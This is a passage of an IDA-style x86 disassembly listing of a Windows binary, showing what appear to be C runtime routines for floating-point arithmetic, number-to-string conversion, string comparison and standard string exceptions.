		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		jmp	near ptr 71AB1B7Bh
sub_426350	endp

; ---------------------------------------------------------------------------
		dec	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 28420B2h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

